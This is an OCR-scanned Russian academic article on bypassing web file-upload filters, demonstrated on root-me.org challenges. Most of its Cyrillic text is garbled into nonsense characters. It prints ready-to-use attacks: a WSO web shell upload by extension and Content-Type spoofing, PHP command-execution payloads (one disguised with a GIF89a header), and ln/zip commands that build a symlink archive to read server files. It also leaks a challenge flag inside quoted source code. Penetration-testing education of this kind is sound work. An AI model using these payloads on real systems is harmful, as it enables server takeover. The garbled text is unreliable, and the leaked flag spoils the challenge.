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PaccMmoTpeHsl crioco0Bl 3alIUThI OT 3arpy3ku (aiijioB Ha BeO-CaiThI, a TaKke crocoObl nx ooxona. Llens
JTaHHOM pabOTHl — TMOKa3aTh BO3MOYKHBIE yA3BHMbIE MECTa B BEO- MPHIIOKEHHUX. [IpoIeMOHCTPUPOBAHEI
00X0Jpl TOMYJSPHBIX BeO-QUIBTPOB IMpH 3arpy3ke (QaitnioB. IlpuBeneHsl neTanbHbIE MPUMEPHI
CYIIECTBYIOIIUX YS3BUMBIX TECTOBBIX BEO-TPHIIOKEHUH, Ha KOTOPBIX MOXHO IPOBEPHUTH OIMCAHHBIC
METO/IbI U TIOAXOAbI K TECTUPOBAHUIO (OPM 3arpy3Ku (aityios.

Knrwoueevle cnosa: nebe30macHOCTh 3arpy3ku ¢aiaoB, 00Xxo1 (UIBTPOB, MOJI€3HAs Harpyska, e,
(dhopma 3arpy3ku ¢Gaios.
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This article discusses how to protect against uploading files, as well as ways to bypass them. The purpose
of this work is to show possible vulnerabilities in web applications. The result of this work is a
demonstration of bypassing popular web filters when uploading files. The main feature of this article is
the presence of detailed examples, as well as existing vulnerable test web applications, on which it is
possible to test all the described methods and approaches to testing file upload forms.
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Beenenue. Yame Bcero pasnuvHoro pozaa ¢aiibl 3arpyxkaroTcs depe3 BeO-caiitel. Ho manHas
dbopmMa 3arpy3Kd MOXKET CTaTb BXOJHOM TOUYKOW JUIs 3J0YMBIIUIEHHUKOB. C €€ MOMONIbI0 BO3MOXKHA
3arpy3ka BpPeIOHOCHOTO KOJa, KOTOPBIM BIOCIEICTBUU MPU HEOOXOJAUMOCTH MOXKET ObITh «BBI3BAH»ETO
x035iMHOM. O/IHaKO CYIIECTBYIOT PEIEHUs, KOTOpbIe MOMOTralT M30ekaTh MoJ0oOHbIX aTak. B manHOI
CTaTbe€ PacCMOTPEHBI OCHOBHBIE METObl 3AIIUTHI C MCHOJIH30BAaHUEM (PUIBTPOB, a TaKXKE CIOCOOBI UX
obxoma [1].

Banupauus Ha cTopoHe KiMeHTa. [[aHHBIN TUI IPOBEPKH MOJAPAa3yMEBAET MPOBEPKY BXOAHBIX
JaHHBIX JI0 TOrO, Kak OHHU OTHpaBsATcs Ha cepBep. OOBIYHO 3TO MPOUCXOAUT B Beb-Opaysepe.
Pa3paboTunky HCMONB3YIOT JAHHBIA THUI MPOBEPKHU IS YA0OCTBa IMOJIb30BaTeNel, YTOObl ONEePaTUBHO
YBEJIOMIIATH MX 0¢3 OOHOBIICHHUS CTPAHUIIBI [2].

OO0xox Baaupganuii Ha CTOPOHe KJMeHTA. [laHHbIE NPOBEPKU JIETKO OOOWTH, OTKIIIOYUB
JavaScript B Opay3zepe miu nojenas http 3ampoc mocie mpoBEpKH ¢ MOMOIIbIO YTHIUTHL burpsuite. B
KaueCcTBE MPUMepa MOKHO PACCMOTPETh 3a/laHus C calTa root-me.org.

O0xox Baaupanum ¢ nmpoBepkoi ¢opmara ¢aiina B umenn. CyniecTByeT HECKOJIBKO THUIIOB
JAHHOM MpOBEpPKHM — TpoBepKa MO OenbIM M 4YepHbIM chuckam. [IpoBepka MO YepHBIM CIHCKaM
npoBepseT Hanuuue B ¢opmare (¢ailioB omnpenereHHbIX cioB. IIpoBepka mo 6eaoMy CHHUCKY
MoJIpa3yMeBaeT MpoXoJa TOJBKO MO paspemieHHoMY ¢opmaty. [IpuMep ncnosbp3oBaHus 0enoro crmucka
MpHUBeJeH Ha puc. 1.
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Upload your photo

Buibepute dpann $ann He BblbpaH upload

NB : only .gif, .jpeg and .png are accepted

Puc. 1. ®opma 3arpysku poto

[Mpu 3arpy3ke aiiia ¢ paciIUpeHHEeM phpPTECTUPOBIIUMK IO OE30MACHOCTH IOJy4aeT
yBEJIOMJICHUsI O HemnpaBwibHOM Qopmare. Ecim ke pentester cuavana sarpyxkaer Ws0-4.2.5.jpeg, npu
ITOM TMepeXBaThIBACT 3alPOC M U3MEHSET pacCIIUpeHHe Ha php, TO MPOMCXOAUT YCIEIIHAs 3arpy3Ka
¢aitna. PesynbraTel mpezactaBiensl Ha puc. 2.Ilocnme 3arpy3kuwso-shell Bo3mosxHO B3amMoeicTBHE C
CEepPBEPOM.

rveur-ch20 )
Safe mode: OFF [ phpinfo ] Datetime: 2020-01-17 17:29:51

GB
/matmme/web—savmgmm/gam/uuom/fcm1admo8q9qt3swu7/ drwr-s--- [ home ]
[ Sec. Info ] [ Fles | [ Console | [ Infect | [Sal] [Php ] [ Safe mode | [ String tools | [ Network |
File manager
Size Modify Owner/Group Permissions
dir 2020-01-17 17:29:02 1008/wwew-data drwxr-s---
79.48 KB 2020-01-17 17:29:02 1008/web-serveur-ch20 -TW-r--r--

Read file:

/challenge/web-aexveur

Make dir: | Male file: [ Writeable |

Execute:

Buibpats hainy L

Puc. 2. Wso-shell

O0xo01 BaIMIauMU ¢ MPOBePKoii THIA (haiijaa npu 3arpyske. JlanHbIil TUIT QUIBTPOB MPOBEPSET
content-type mapamerp npu 3arpy3ke. Tak Kak y M300pakeHHH TpHU 3arpy3Ke IaHHBIA mapamerp OyneT
paBeH image/jpeg, a y php ckpumnra application, php ckpunt He 3arpy3utcs. OOXOaUTh AaHHBIA QUIBTD
JIOBOJILHO TPOCTO, 3arpy3WB, KaK W B MPOLUIBIA pa3 IIe/Ul, a B MapaMeTpax 3aMeHHB application Ha
image/jpeg.Pesynbrar npusenen ua puc. 3 [3].

----------------------------- 18632704077529342871332734129

Content D spositign: form-data; name="1image"; filename="shell.php"
IContent-Type: 1mage/]jpeg

Puc. 3. Tum 3arpyxaemoro ¢aiina

Banupanuu no pasmepy coaep:kumoro. [laHHblii TUI TOpa3yMeBaeT U3MEHEHHE JUTMHBI 1Iea
10J1 KOHKPETHBIH QuiabTp. OUIABTP MpOBEpsET, YTO JJIMHA CTPOKH YAOBJIETBOPUTENbHAS U MPOIMYCKAeT
daiin. [Ipumep 00x0/1a BaHIAUK [0 pa3Mepy COACPKUMOro MpuBeieH Ha puc. 4 [4, 5].

if ($_FILES["file"]["size"] > 16) {
echo "Erorr file";

Puc. 4. IIpoBepka [uIMHBI conepKUMOro (aiina
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B mannoM mpumepe HEOOXOAMMO 3aMEHUTHh MCXOJHBIN IIesl Ha 0oJiee MPOCTOM W KOPOTKUU HE
nnuHHee 16 CMMBOJIOB, HalIpuMep, Kak Ha puc. 5. Pe3ynpTar mpoaeMoHCTpUpOBaH Ha puc. 6.

<?="S$_GET[a] ?>

Puc. 5. Tlone3nas narpyska

< C ® root-me.org

/challenge/web-serveur/ch20/galerie/upload/jsr7dira3raglogah51gd5ht03

Puc. 6. PeaynbpTat HCnoOMTHEHUS MTOJIE3HON HATPy3KH

O0xo1 mpoBepkM coAep:KMMOro (aiija sSBIsETCS OJHUM M3 HAMOOJEe CIIONKHO 00XOIMMBIX
¢unbTpoB. Ecnu ¢uibTp HamucaH MpaBUWIIbHO, TO MPONTH €ro CTAHOBUTCS OUYEHBb CJIOKHO. PaccMoTpum
OJIMH M3 MpPOCTBIX CIIy4aeB, KOTJa IpoBepsercss Juillb ¢popMmaT BHyTpu (aiina, Ha mnpumepe gif
M300pakeHus1, MPUBEJICHHOTO Ha PUC. 1.

GIF89a;

<?

system($_GET['cmd']);//0or you can insert your complete shell code

72>

Puc. 7. Ilone3nas Harpy3ka ¢ 3aroJ0OBKOM

B nganHOM ciydae ObuT 100aBiIeH 3arojoBok gif m300pakeHusi, BCIEACTBUE dyero GuibTp OyneT
MIPO/IEH ¥ MOSIBUTCS BO3MOXHOCTh HCHOIHUTE Shell.
Het BO3MOKHOCTH 000HTH PUIBLTP, HO €CTh 3arpy3Ka zip apxuBoB. Eciu HET BO3MOXHOCTH 000UTH
CIIO)KHBI ~ (MIBTP, HO €CTh BO3MOXHOCTh 3arpy3KH apXWBOB, KOTOpbIE B  MOCJCICTBHH
pacrakoBBIBAIOTCSA, TO OJHHM W3 BapHAHTOB SIBISETCS BO3MOYKHOCTh BOCIIOJIB30BAThCS OIIMOKON
00paboTKu. [[71s1 BBIMOTHEHUSI TAHHOW aTaku HEOOXOIUMO 3apaHee MOATOTOBUTH zip daiin ¢ symlinks.
Craenatb 5TO MOYKHO CIIOCOOOM, H300paXkeHHOM Ha puc. 8 [6].

In -sf ../../../index.php payload.txt
zip -y archive payload. txt
Puc. 8. IlogroroBka nosie3HON Harpy3Ku

BrI3BaB pacnakoBaHHBIN (aiii, MMOJIL30BATENb JCTAIOUINEI 3aPOC CMOXKET YBUACTh COJIECPIKUMOE
crpanunsl index.php (puc. 9).
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<« C ® (O 1 root-me.org

<?ph)
if(isset($ FILES['zipfile'])){
1f(s_FILES['zipfile']['type’J==="application/zip" || $_FILES['zipfile']['type’']==="application/x-zip-compressed” || $ FILES['zipfile']['type']==="application/octet-stream"){
Suploaddir = 'tmp/upload/'.uniqid("", true).'/"';
mkdir(Suploaddir, 0750, true);
Suploadfile = Suploaddir . mdS(basename($ FILES[zipfile']['name’'])).'.z2ip"';
if (move uploaded file($ FILES['zipfile']['tmp name'], Suploadfile)) {
smessage = "<p>File uploaded</p> ~;

else{
$message = “<p>Error!</p>";

$zip = new ZipArchive;
if ($z1p->open(Suploadfile)) {
/7 Don't know 1f this is safe, but it works, someone told me the flag is N3v3r_7rUST uSEr_lnpU7 , did not understand what it means
exec("/usr/bin/timeout -k2 3 /usr/bin/unzip '$uploadfile' -d ‘$uploaddir'"”, Soutput, $ret);
$message = "<p>File unzipped <a hrefe'".Suploaddir."'>here</a>.</p>";
$zip->close();

}
else{
}

}

else{

$message = "<p> Decompression Error </p>*;

$message = "<p> Error bad file type ! <p>";
}
7>

<html>
<body>
<h1>ZIP upload</hl>
<?php print Smessage; 7>
<form enctype="multipart/form-data” method="post™ action>
<input name="zipfile" type="file">
<button type="submit“>Submit</button>
</form>
</body>
</html>

Puc. 9. Conmepxumoe index.php

3akiao4yeHue. ABTOpaM yAajgoch O00OWTHM Haubolsiee MOMYNSIpHbIE (PUIBTPHI C HCIOIb30BAaHUEM
Pa3IUYHBIX TeXHUK. JIJIs1 3aIIUTHI OT MOJOOHBIX aTak PEKOMEH/YeTCsl KOMIUICKCHAs! IPOBEpKa HE TOIBKO
Ha CTOpPOHE KJIMEHTa, HO ¥ Ha CTOPOHE cepBepa.
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